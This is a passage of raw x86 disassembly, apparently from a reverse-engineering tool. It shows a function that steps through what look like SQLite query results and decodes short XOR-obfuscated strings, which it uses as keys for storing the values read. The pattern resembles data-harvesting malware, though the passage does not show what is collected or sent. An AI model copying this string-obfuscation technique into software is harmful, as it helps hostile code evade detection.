add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push edx
push ecx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x40]
lea eax, [ebp - 0x48]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
mov edx, esi
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 0xf
mov byte [ebp - 0x438], 0
call fcn.004dd320
add esp, 0x14
test eax, eax
jne 0x42935f
mov esi, dword [ebp - 0x48]
mov ecx, esi
call fcn.004b9b80
cmp eax, 0x64
jne 0x4292e7
test esi, esi
je 0x4284cd
cmp dword [esi + 0x2c], 0
je 0x4284a8
mov eax, 2
cmp ax, word [esi + 0x30]
jae 0x4284a8
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4284a0
push eax
call dword [0x555d08]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0x50
jmp 0x4284d2
mov eax, dword [esi]
test eax, eax
je 0x4284cd
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4284bf
push eax
call dword [0x555d08]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.004a84e0
add esp, 0xc
mov ecx, 0x53c608
mov dl, 1
call fcn.004b69f0
mov dword [ebp - 0x28], eax
test esi, esi
je 0x42852f
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x428512
cmp byte [edi + 0x1e], 0
jne 0x4284f7
cmp ecx, 0xc0a
jne 0x42850d
push 0
push 7
push edi
call fcn.004a84e0
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x428517
mov eax, 0xff
and ecx, eax
mov dword [esi + 0x64], ecx
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42852f
push eax
call dword [0x555d10]
add esp, 4
mov edx, 3
mov ecx, esi
call fcn.004ba190
mov edx, 3
mov dword [ebp - 0x68], eax
mov ecx, esi
call fcn.004ba280
mov dword [ebp - 0x20], eax
test esi, esi
je 0x42859c
cmp dword [esi + 0x2c], 0
je 0x428577
xor eax, eax
cmp ax, word [esi + 0x30]
jae 0x428577
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x428572
push eax
call dword [0x555d08]
add esp, 4
mov ecx, dword [esi + 0x2c]
jmp 0x4285a1
mov eax, dword [esi]
test eax, eax
je 0x42859c
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42858e
push eax
call dword [0x555d08]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.004a84e0
add esp, 0xc
mov ecx, 0x53c608
mov dl, 1
call fcn.004b69f0
mov dword [ebp - 0x30], eax
test esi, esi
je 0x4285fe
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x4285e1
cmp byte [edi + 0x1e], 0
jne 0x4285c6
cmp ecx, 0xc0a
jne 0x4285dc
push 0
push 7
push edi
call fcn.004a84e0
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x4285e6
mov eax, 0xff
and ecx, eax
mov dword [esi + 0x64], ecx
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4285fe
push eax
call dword [0x555d10]
add esp, 4
mov ecx, dword [ebp - 0x30]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428604
sub ecx, edx
jne 0x4286c9
test esi, esi
je 0x428667
cmp dword [esi + 0x2c], ecx
je 0x428642
mov eax, 1
cmp ax, word [esi + 0x30]
jae 0x428642
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42863a
push eax
call dword [0x555d08]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0x28
jmp 0x42866c
mov eax, dword [esi]
test eax, eax
je 0x428667
mov eax, dword [eax + 0x44]
test eax, eax
je 0x428659
push eax
call dword [0x555d08]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.004a84e0
add esp, 0xc
mov ecx, 0x53c608
mov dl, 1
call fcn.004b69f0
mov dword [ebp - 0x30], eax
test esi, esi
je 0x4286c9
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x4286ac
cmp byte [edi + 0x1e], 0
jne 0x428691
cmp ecx, 0xc0a
jne 0x4286a7
push 0
push 7
push edi
call fcn.004a84e0
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x4286b1
mov eax, 0xff
and eax, ecx
mov dword [esi + 0x64], eax
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4286c9
push eax
call dword [0x555d10]
add esp, 4
xorps xmm0, xmm0
mov dword [ebp - 0x380], 0
movups xmmword [ebp - 0x390], xmm0
mov dword [ebp - 0x37c], 0xf
mov byte [ebp - 0x390], 0
mov esi, dword [ebp - 0x68]
lea ecx, [ebp - 0x498]
mov byte [ebp - 4], 0x52
push dword [ebp - 0x20]
movups xmmword [ebp - 0x498], xmm0
push esi
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 0
call fcn.00402b20
cmp byte [ebp - 0x29], 0
mov byte [ebp - 4], 0x53
je 0x4288a9
xorps xmm0, xmm0
mov word [ebp - 0xb5], 0xdd9d
mov byte [ebp - 0xb3], 0xdd
xor ecx, ecx
movq qword [ebp - 0xb2], xmm0
mov byte [ebp - 0xaa], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xb5], al
inc ecx
cmp ecx, 3
jb 0x428751
mov dword [0x558540], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xb5]
mov byte [ebp - 0xb2], 0
movups xmmword [ebp - 0x290], xmm0
mov dword [ebp - 0x280], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x27c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428796
sub ecx, edx
lea eax, [ebp - 0xb5]
push ecx
push eax
lea ecx, [ebp - 0x290]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x8000000
or eax, 0x100000
mov byte [ebp - 4], 0x54
cmp dword [ebp - 0x27c], 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x290]
cmovae eax, dword [ebp - 0x290]
push eax
push esi
call fcn.004f9260
add esp, 8
test eax, eax
jne 0x4288a3
xorps xmm0, xmm0
mov word [ebp - 0xa9], 0xdd9d
mov byte [ebp - 0xa7], 0xdc
xor ecx, ecx
movq qword [ebp - 0xa6], xmm0
mov byte [ebp - 0x9e], al
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xa9], al
inc ecx
cmp ecx, 3
jb 0x428812
mov dword [0x558540], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xa9]
mov byte [ebp - 0xa6], 0
movups xmmword [ebp - 0x278], xmm0
mov dword [ebp - 0x268], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x264], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428857
sub ecx, edx
lea eax, [ebp - 0xa9]
push ecx
push eax
lea ecx, [ebp - 0x278]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x200000
cmp dword [ebp - 0x264], 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x278]
cmovae eax, dword [ebp - 0x278]
push eax
push esi
call fcn.004f9260
add esp, 8
test eax, eax
je 0x4288a9
mov byte [ebp - 0x15], 1
jmp 0x4288ad
mov byte [ebp - 0x15], 0
mov eax, dword [ebp - 0x14]
test eax, 0x200000
je 0x42891a
mov ecx, dword [ebp - 0x264]
and eax, 0xffdfffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x4288ff
mov edx, dword [ebp - 0x278]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4288f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x268], 0
mov dword [ebp - 0x264], 0xf
mov byte [ebp - 0x278], 0
mov dword [ebp - 4], 0x53
test eax, 0x100000
je 0x428988
mov ecx, dword [ebp - 0x27c]
and eax, 0xffefffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x42896d
mov edx, dword [ebp - 0x290]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428963
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x27c], 0xf
mov byte [ebp - 0x290], 0
cmp byte [ebp - 0x15], 0
je 0x4289d0
sub esp, 0x18
lea eax, [ebp - 0x498]
mov ecx, esp
mov dword [ebp - 0x238], esp
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0x55
lea eax, [ebp - 0x198]
mov ecx, esp
push eax
call fcn.0047faa0
xor dl, dl
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x390]
call fcn.00425010
add esp, 0x30
jmp 0x4289e1
push ecx
lea edx, [ebp - 0x390]
mov ecx, esi
call fcn.00424ee0
add esp, 4
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x258]
push 0
mov byte [ebp - 0x260], 0
call fcn.00481590
mov eax, dword [ebp - 0x24]
mov byte [ebp - 4], 0x57
movaps xmm0, xmmword [0x543960]
movups xmmword [ebp - 0x4ca], xmm0
lea ecx, [eax + eax*2]
mov byte [ebp - 0x150], 3
mov eax, dword [ebp - 0x3c]
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x148], xmm0
lea esi, [eax + ecx*8]
call fcn.004f7990
lea ecx, [ebp - 0x61]
mov dword [ebp - 0x23c], eax
add esp, 4
mov dword [ebp - 0x240], ecx
push esi
mov ecx, eax
mov byte [ebp - 4], 0x58
call fcn.0047faa0
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x144], eax
mov byte [ebp - 4], 0x59
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x4ca], al
inc ecx
cmp ecx, 7
jb 0x428a80
mov dword [0x558510], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x4ca]
mov byte [ebp - 0x4c3], 0
movups xmmword [ebp - 0x2a8], xmm0
mov dword [ebp - 0x298], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x294], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428ac5
sub ecx, edx
lea eax, [ebp - 0x4ca]
push ecx
push eax
lea ecx, [ebp - 0x2a8]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x4000000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x5a
lea eax, [ebp - 0x2a8]
cmp dword [ebp - 0x294], 0x10
lea ecx, [ebp - 0x260]
cmovae eax, dword [ebp - 0x2a8]
push eax
call fcn.00483b70
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0x150]
mov byte [edi], cl
mov ecx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x148]
mov byte [ebp - 0x150], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x150]
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], esi
call fcn.0047d5c0
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x294]
cmp ecx, 0x10
jb 0x428b92
mov edx, dword [ebp - 0x2a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428b88
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x298], 0
push 0x18
mov dword [ebp - 0x294], 0xf
mov byte [ebp - 0x2a8], 0
mov word [ebp - 0x9d], 0x9e9e
mov byte [ebp - 0x9b], 0x81
movq qword [ebp - 0x9a], xmm0
mov byte [ebp - 0x92], 0
movq qword [ebp - 0x168], xmm0
mov byte [ebp - 0x170], 3
call fcn.004f7990
mov edx, eax
add esp, 4
lea eax, [ebp - 0x62]
mov dword [ebp - 0x244], edx
mov dword [ebp - 0x248], eax
mov edi, dword [ebp - 0x30]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x5c
mov ecx, edi
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428c20
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.00402b20
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x168], eax
mov byte [ebp - 4], 0x5d
xor ecx, ecx
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x9d], al
inc ecx
cmp ecx, 3
jb 0x428c50
mov dword [0x558540], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x9d]
mov byte [ebp - 0x9a], 0
movups xmmword [ebp - 0x2c0], xmm0
mov dword [ebp - 0x2b0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2ac], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428c95
sub ecx, edx
lea eax, [ebp - 0x9d]
push ecx
push eax
lea ecx, [ebp - 0x2c0]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x2000000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x5e
lea eax, [ebp - 0x2c0]
cmp dword [ebp - 0x2ac], 0x10
lea ecx, [ebp - 0x260]
cmovae eax, dword [ebp - 0x2c0]
push eax
call fcn.00483b70
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0x170]
mov byte [edi], cl
mov ecx, dword [ebp - 0x164]
mov eax, dword [ebp - 0x168]
mov byte [ebp - 0x170], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x168], edx
mov dword [ebp - 0x164], esi
call fcn.0047d5c0
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x2ac]
cmp ecx, 0x10
jb 0x428d62
mov edx, dword [ebp - 0x2c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428d58
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x2b0], 0
push 0x18
mov dword [ebp - 0x2ac], 0xf
mov byte [ebp - 0x2c0], 0
mov dword [ebp - 0x91], 0x878a8387
mov byte [ebp - 0x8d], 0x81
movq qword [ebp - 0x8c], xmm0
mov byte [ebp - 0x84], 0
movq qword [ebp - 0x178], xmm0
mov byte [ebp - 0x180], 3
call fcn.004f7990
mov edx, eax
add esp, 4
lea eax, [ebp - 0x63]
mov dword [ebp - 0x24c], edx
mov dword [ebp - 0x250], eax
mov edi, dword [ebp - 0x28]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x60
mov ecx, edi
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428df0
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.00402b20
mov eax, dword [ebp - 0x24c]
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x178], eax
mov byte [ebp - 4], 0x61
xor ecx, ecx
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x91], al
inc ecx
cmp ecx, 5
jb 0x428e20
mov dword [0x5584f4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x91]
mov byte [ebp - 0x8c], 0
movups xmmword [ebp - 0x2d8], xmm0
mov dword [ebp - 0x2c8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2c4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428e65
sub ecx, edx
lea eax, [ebp - 0x91]
push ecx
push eax
lea ecx, [ebp - 0x2d8]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x1000000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x62
lea eax, [ebp - 0x2d8]
cmp dword [ebp - 0x2c4], 0x10
lea ecx, [ebp - 0x260]
cmovae eax, dword [ebp - 0x2d8]
push eax
call fcn.00483b70
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0x180]
mov byte [edi], cl
mov ecx, dword [ebp - 0x174]
mov eax, dword [ebp - 0x178]
mov byte [ebp - 0x180], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x178], edx
mov dword [ebp - 0x174], esi
call fcn.0047d5c0
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x2c4]
cmp ecx, 0x10
jb 0x428f32
mov edx, dword [ebp - 0x2d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428f28
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x543a10]
movups xmmword [ebp - 0x4a8], xmm0
mov dword [ebp - 0x2c8], 0
xorps xmm0, xmm0
mov dword [ebp - 0x2c4], 0xf
push 0x18
mov byte [ebp - 0x2d8], 0
mov byte [ebp - 0x4a9], 0x9b
movq qword [ebp - 0x158], xmm0
mov byte [ebp - 0x160], 3
call fcn.004f7990
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x114], eax
add esp, 4
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x390]
mov byte [ebp - 4], 0x64
push ecx
mov ecx, eax
call fcn.0047faa0
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x154], eax
mov byte [ebp - 4], 0x65
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x4a9], al
inc ecx
cmp ecx, 8
jb 0x428fd0
mov dword [0x5585d4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x4a9]
mov byte [ebp - 0x4a1], 0
movups xmmword [ebp - 0x2f0], xmm0
mov dword [ebp - 0x2e0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2dc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x429015
sub ecx, edx
lea eax, [ebp - 0x4a9]
push ecx
push eax
lea ecx, [ebp - 0x2f0]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x800000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x66
lea eax, [ebp - 0x2f0]
cmp dword [ebp - 0x2dc], 0x10
lea ecx, [ebp - 0x260]
cmovae eax, dword [ebp - 0x2f0]
push eax
call fcn.00483b70
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0x160]
mov byte [edi], cl
mov ecx, dword [ebp - 0x154]
mov eax, dword [ebp - 0x158]
mov byte [ebp - 0x160], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x160]
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], esi
call fcn.0047d5c0
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x2dc]
cmp ecx, 0x10
jb 0x4290e2
mov edx, dword [ebp - 0x2f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4290d8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x2e0], 0
mov dword [ebp - 0x2dc], 0xf
xor ecx, ecx
mov byte [ebp - 0x2f0], 0
mov dword [ebp - 0x83], 0x878a8387
mov word [ebp - 0x7f], 0x8381
movq qword [ebp - 0x7d], xmm0
mov byte [ebp - 0x75], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x83], al
inc ecx
cmp ecx, 6
jb 0x429120
mov dword [0x5584f8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x83]
mov byte [ebp - 0x7d], 0
movups xmmword [ebp - 0x308], xmm0
mov dword [ebp - 0x2f8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2f4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x429162
sub ecx, edx
lea eax, [ebp - 0x83]
push ecx
push eax
lea ecx, [ebp - 0x308]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x400000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x308]
cmp dword [ebp - 0x2f4], 0x10
mov ecx, dword [ebp - 0x11c]
cmovae eax, dword [ebp - 0x308]
push eax
call fcn.00483b70
lea ecx, [ebp - 0x260]
push ecx
mov ecx, eax
call fcn.0047cf60
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0x2f4]
cmp ecx, 0x10
jb 0x4291fc
mov edx, dword [ebp - 0x308]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4291f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
lea ecx, [ebp - 0x260]
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x2f4], 0xf
mov byte [ebp - 0x308], 0
call fcn.0047d5c0
mov byte [ebp - 4], 0x52
mov ecx, dword [ebp - 0x484]
cmp ecx, 0x10
jb 0x429260
mov edx, dword [ebp - 0x498]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429256
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x51
mov ecx, dword [ebp - 0x37c]
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 0xf
mov byte [ebp - 0x498], 0
cmp ecx, 0x10
jb 0x4292b9
mov edx, dword [ebp - 0x390]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4292af
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov esi, dword [ebp - 0x48]
mov ecx, esi
mov dword [ebp - 0x380], 0
mov dword [ebp - 0x37c], 0xf
mov byte [ebp - 0x390], 0
call fcn.004b9b80
cmp eax, 0x64
je 0x428478
test esi, esi
je 0x42935f
mov edi, dword [esi]
mov eax, dword [edi + 0x44]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x429301
push eax
call dword [0x555d08]
add esp, 4
mov eax, dword [esi + 0x50]
mov dword [ebp - 0x28], 0
cmp eax, 0xbdf20da3
je 0x429319
cmp eax, 0x519c2973
jne 0x429323
mov ecx, esi
call fcn.004b8950
mov dword [ebp - 0x28], eax
mov ecx, esi
call fcn.004b8b60
test edi, edi
je 0x42934e
cmp byte [edi + 0x1e], 0
jne 0x42933d
cmp dword [ebp - 0x28], 0xc0a
jne 0x42934e
push 0
push 7
push edi
call fcn.004a84e0
add esp, 0xc
mov byte [edi + 0x1e], 0
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x42935f
push eax
call dword [0x555d10]
add esp, 4
mov ecx, dword [ebp - 0x40]
call fcn.00418110
mov byte [ebp - 4], 0x3d
mov ecx, dword [ebp - 0x1d8]
cmp ecx, 0x10
jb 0x4293a5
mov edx, dword [ebp - 0x1ec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42939b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x3c
mov ecx, dword [ebp - 0x184]
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 0x1d8], 0xf
mov byte [ebp - 0x1ec], 0
cmp ecx, 0x10
jb 0x4293fe
mov edx, dword [ebp - 0x198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4293f4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x56c]
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 0xf
mov byte [ebp - 0x198], 0
cmp ecx, 0x10
jb 0x429457
mov edx, dword [ebp - 0x580]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42944d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x38]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x24]
imul ecx
inc edi
mov dword [ebp - 0x570], 0
sar edx, 2
mov eax, edx
mov dword [ebp - 0x56c], 0xf
shr eax, 0x1f
add eax, edx
mov byte [ebp - 0x580], 0
mov dword [ebp - 0x24], edi
cmp edi, eax
jb 0x426ad0
mov ecx, dword [ebp - 0x30c]
cmp ecx, 0x10
jb 0x4294d2
mov edx, dword [ebp - 0x320]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4294c8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0x584]
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x30c], 0xf
mov byte [ebp - 0x320], 0
cmp ecx, 0x10
jb 0x429527
mov edx, dword [ebp - 0x598]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42951d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x588], 0
mov dword [ebp - 0x584], 0xf
mov byte [ebp - 0x598], 0
call fcn.00481d80
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x42957e
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429574
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebx + 0x20]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
cmp ecx, 0x10
jb 0x4295c4
mov edx, dword [ebx + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4295ba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebx + 0x38]
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x20], 0xf
mov byte [ebx + 0xc], 0
cmp ecx, 0x10
jb 0x42960a
mov edx, dword [ebx + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429600
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebx + 0x50]
mov dword [ebx + 0x34], 0
mov dword [ebx + 0x38], 0xf
mov byte [ebx + 0x24], 0
cmp ecx, 0x10
jb 0x42964c
mov edx, dword [ebx + 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429642
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebx + 0x68]
mov dword [ebx + 0x4c], 0
mov dword [ebx + 0x50], 0xf
mov byte [ebx + 0x3c], 0
cmp ecx, 0x10
jb 0x42968e
mov edx, dword [ebx + 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x429684
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
